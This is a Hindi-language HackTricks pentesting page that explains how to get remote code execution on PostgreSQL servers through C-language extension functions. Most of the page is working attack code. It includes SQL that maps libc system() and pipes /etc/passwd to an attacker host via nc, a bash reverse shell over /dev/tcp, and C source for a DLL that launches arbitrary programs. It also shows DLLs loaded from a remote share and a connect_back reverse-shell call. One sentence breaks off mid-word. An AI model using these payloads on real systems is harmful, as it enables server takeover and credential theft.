क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहिए? SUBSCRIPTION PLANS की जाँच करें!
PostgreSQL को एक कोर सुविधा के रूप में विकसित किया गया है, जिससे यह विस्तारों को ऐसे जड़ने की अनुमति देता है जैसे वे अंतर्निहित कार्यक्षमताओं थे। ये विस्तार, मुख्य रूप से C में लिखी गई पुस्तकालय होती हैं, डेटाबेस को अतिरिक्त कार्यों, ऑपरेटर्स, या प्रकारों के साथ समृद्ध करती हैं।
8.1 संस्करण से आगे, विस्तार पुस्तकालय पर एक विशेष शीर्षक के साथ संकलित किया जाने की विशेष आवश्यकता है: इनके बिना, PostgreSQL उन्हें क्रियान्वित नहीं करेगा, यह सुनिश्चित करता है कि केवल संगत और संभावित रूप से सुरक्षित विस्तार प्रयोग किए जाते हैं।
PostgreSQL 8.1 और पहले संस्करणों से सिस्टम कमांडों का क्रियान्वयन स्पष्ट रूप से दस्तावेजीकृत प्रक्रिया है और सीधी है। इसका उपयोग करना संभव है: Metasploit मॉड्यूल.
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECTsystem('cat /etc/passwd | nc <attacker IP> <attacker port>');# You can also create functions toopenand write filesCREATE OR REPLACEFUNCTIONopen(cstring, int, int) RETURNSintAS'/lib/libc.so.6', 'open'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONwrite(int, cstring, int) RETURNSintAS'/lib/libc.so.6', 'write'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONclose(int) RETURNSintAS'/lib/libc.so.6', 'close'LANGUAGE'C' STRICT;
बेस64 से बाइनरी फ़ाइल लिखें
पोस्टग्रेस में फ़ाइल में बाइनरी लिखने के लिए आपको बेस64 का उपयोग करना पड़ सकता है, इसके लिए निम्नलिखित मददगार होगा:
CREATE OR REPLACEFUNCTIONwrite_to_file(fileTEXT, s TEXT) RETURNSintAS$$DECLAREfh int;s int;w bytea;i int;BEGINSELECTopen(textout(file)::cstring, 522, 448) INTO fh;IF fh <=2THENRETURN1;ENDIF;SELECT decode(s, 'base64') INTO w;i :=0;LOOPEXIT WHEN i >= octet_length(w);SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;IF rs <0THENRETURN2;ENDIF;i := i +1;ENDLOOP;SELECTclose(fh) INTO rs;RETURN0;END;$$ LANGUAGE'plpgsql';
हालांकि, जब इसे अधिक वर्शन पर प्रयास किया गया तो निम्न त्रुटि दिखाई गई:
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic blockHINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
एक डायनामिक लोड किया गया ऑब्जेक्ट फ़ाइल को एक असंगत सर्वर में लोड न होने सुनिश्चित करने के लिए, PostgreSQL यह जांचता है कि फ़ाइल में उचित सामग्री के साथ एक "जादू ब्लॉक" है। यह सर्वर को स्पष्ट असंगतताओं का पता लगाने में मदद करता है, जैसे कोड जो PostgreSQL के एक विभिन्न मुख्य संस्करण के लिए कंपाइल किया गया है। PostgreSQL 8.2 के रूप में एक जादू ब्लॉक की आवश्यकता है। एक जादू ब्लॉक शामिल करने के लिए, इसे एक (और केवल एक) मॉड्यूल स्रोत फ़ाइल में लिखें, हेडर fmgr.h को शामिल करने के बाद:
#ifdef PG_MODULE_MAGICPG_MODULE_MAGIC;#endif
PostgreSQL संस्करण 8.2 से, हमलावर के लिए सिस्टम का शोध करने की प्रक्रिया को अधिक चुनौतीपूर्ण बना दिया गया है। हमलावर को या तो पहले से ही सिस्टम पर मौजूद एक पुस्तकालय का उपयोग करना होगा या एक कस्टम पुस्तकालय अपलोड करना होगा। यह कस्टम पुस्तकालय PostgreSQL के संगत मुख्य संस्करण के खिलाफ कंपाइल किया जाना चाहिए और एक विशिष्ट "जादू ब्लॉक" शामिल करना चाहिए। यह उपाय PostgreSQL सिस्टम का शोध करने की कठिनाई को काफी बढ़ा देता है, क्योंकि यह सिस्टम की वास्तुकला और संस्करण संगतता की गहरी समझ की आवश्यकता होती है।
पुस्तकालय को कंपाइल करें
PsotgreSQL संस्करण प्राप्त करें:
SELECTversion();PostgreSQL 9.6.3on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.020170516, 64-bit
अनुकूलता के लिए, मुख्य संस्करणों को समरूपित करना आवश्यक है। इसलिए, 9.6.x श्रृंखला के किसी भी संस्करण के साथ एक पुस्तकालय को कंपाइल करना सफल सम्मिलन सुनिश्चित करना चाहिए।
उस संस्करण को अपने सिस्टम में स्थापित करने के लिए:
फिर कंपाइल की गई लाइब्रेरी अपलोड करें और निम्नलिखित कमांड्स को निष्पादित करें:
CREATEFUNCTIONsys(cstring) RETURNSintAS'/tmp/pg_exec.so','pg_exec'LANGUAGECSTRICT;SELECTsys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');#Notice the double single quotes are needed to scape the qoutes
आप इस लाइब्रेरी को पूर्व-कॉम्पाइल्ड कई विभिन्न PostgreSQL संस्करणों के लिए पा सकते हैं और यह प्रक्रिया को भी स्वचालित कर सकते हैं (अगर आपके पास PostgreSQL एक्सेस है) इसके साथ:
निम्नलिखित DLL इनपुट के रूप में बाइनरी का नाम और बार की संख्या लेती है और इसे निष्पादित करती है:
#include"postgres.h"#include<string.h>#include"fmgr.h"#include"utils/geo_decls.h"#include<stdio.h>#include"utils/builtins.h"#ifdefPG_MODULE_MAGICPG_MODULE_MAGIC;#endif/* Add a prototype marked PGDLLEXPORT */PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);PG_FUNCTION_INFO_V1(pgsql_exec);/* this function launches the executable passed in as the first parameterin a FOR loop bound by the second parameter that is also passed*/Datumpgsql_exec(PG_FUNCTION_ARGS){/* convert text pointer to C string */#defineGET_STR(textp) DatumGetCString(DirectFunctionCall1(textout,PointerGetDatum(textp)))/* retrieve the second argument that is passed to the function (an integer)that will serve as our counter limit*/int instances =PG_GETARG_INT32(1);for (int c =0; c < instances; c++) {/*launch the process passed in the first parameter*/ShellExecute(NULL,"open", GET_STR(PG_GETARG_TEXT_P(0)),NULL,NULL,1);}PG_RETURN_VOID();}
आप इस ज़िप में कंपाइल किए गए DLL फ़ाइल यहाँ देख सकते हैं:
आप इस DLL को कौन सी बाइनरी को चलाने और इसे कितनी बार चलाना है, इसे इंडिकेट कर सकते हैं, इस उदाहरण में यह calc.exe को 2 बार चलाएगा:
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECTremote_exec('calc.exe',2);DROPFUNCTIONremote_exec(text,integer);
ध्यान दें कि इस मामले में हानिकारक कोड DllMain फ़ंक्शन के अंदर है। इसका मतलब है कि इस मामले में postgresql में लोड किए गए फ़ंक्शन को निष्पादित करने की आवश्यकता नहीं है, बस DLL लोड करना रिवर्स शैल को निष्पादित करेगा:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
RCE में नवीनतम Prostgres संस्करणों में
PostgreSQL के नवीनतम संस्करणों में, प्रतिबंध लगाया गया है जहां superuser को विशेष निर्देशित निर्देशिकाओं से बाहर साझा पुस्तकालय फ़ाइलें लोड करने से रोका गया है, जैसे Windows पर C:\Program Files\PostgreSQL\11\lib या *nix सिस्टम पर /var/lib/postgresql/11/lib. ये निर्देशिकाएँ या तो NETWORK_SERVICE या postgres खातों द्वारा लिखने के प्रक्रियाओं से सुरक्षित हैं।
इन प्रतिबंधों के बावजूद, एक प्रमाणीकृत डेटाबेस superuser को "बड़े ऑब्जेक्ट्स" का उपयोग करके फ़ाइल सिस्टम में बाइनर फ़ाइलें लिखना संभव है। यह क्षमता C:\Program Files\PostgreSQL\11\data निर्देशिका के अंदर लिखने तक फैली हुई है, जो तालिकाएँ अपडेट करने या बनाने जैसे डेटाबेस प्रक्रियाओं के लिए आवश्यक है।
CREATE FUNCTION कमांड से एक महत्वपूर्ण सुरक्षा दोष उत्पन्न होता है, जो डेटा निर्देशिका में भ्रमण की अनुमति देता है। इस परिणामस्वरूप, एक प्रमाणीकृत हमलावर इस भ्रमण का शोध उत्पन्न कर सकता है ताकि वह डेटा निर्देशिका में एक साझा पुस्तकालय फ़ाइल लिख सके और फिर उसे लोड कर सके। यह शोध आक्रमणकारी को विचारशील कोड को निषेध करने की अनुमति देता है, जिससे सिस्टम पर नेटिव कोड निष्पादन संभव होता है।
हमला प्रवाह
सबसे पहले आपको **बड़े ऑब्ज
create function connect_back(text, integer) returns void as '../data/poc','connect_back' language C strict;select connect_back('192.168.100.54',1234);
ध्यान दें कि आपको .dll एक्सटेंशन जोड़ने की आवश्यकता नहीं है क्योंकि निर्माण फ़ंक्शन इसे जोड़ देगा।
क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को हैकट्रिक्स में विज्ञापित देखना चाहते हैं? या क्या आप PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं? सब्सक्रिप्शन प्लान्स की जाँच करें!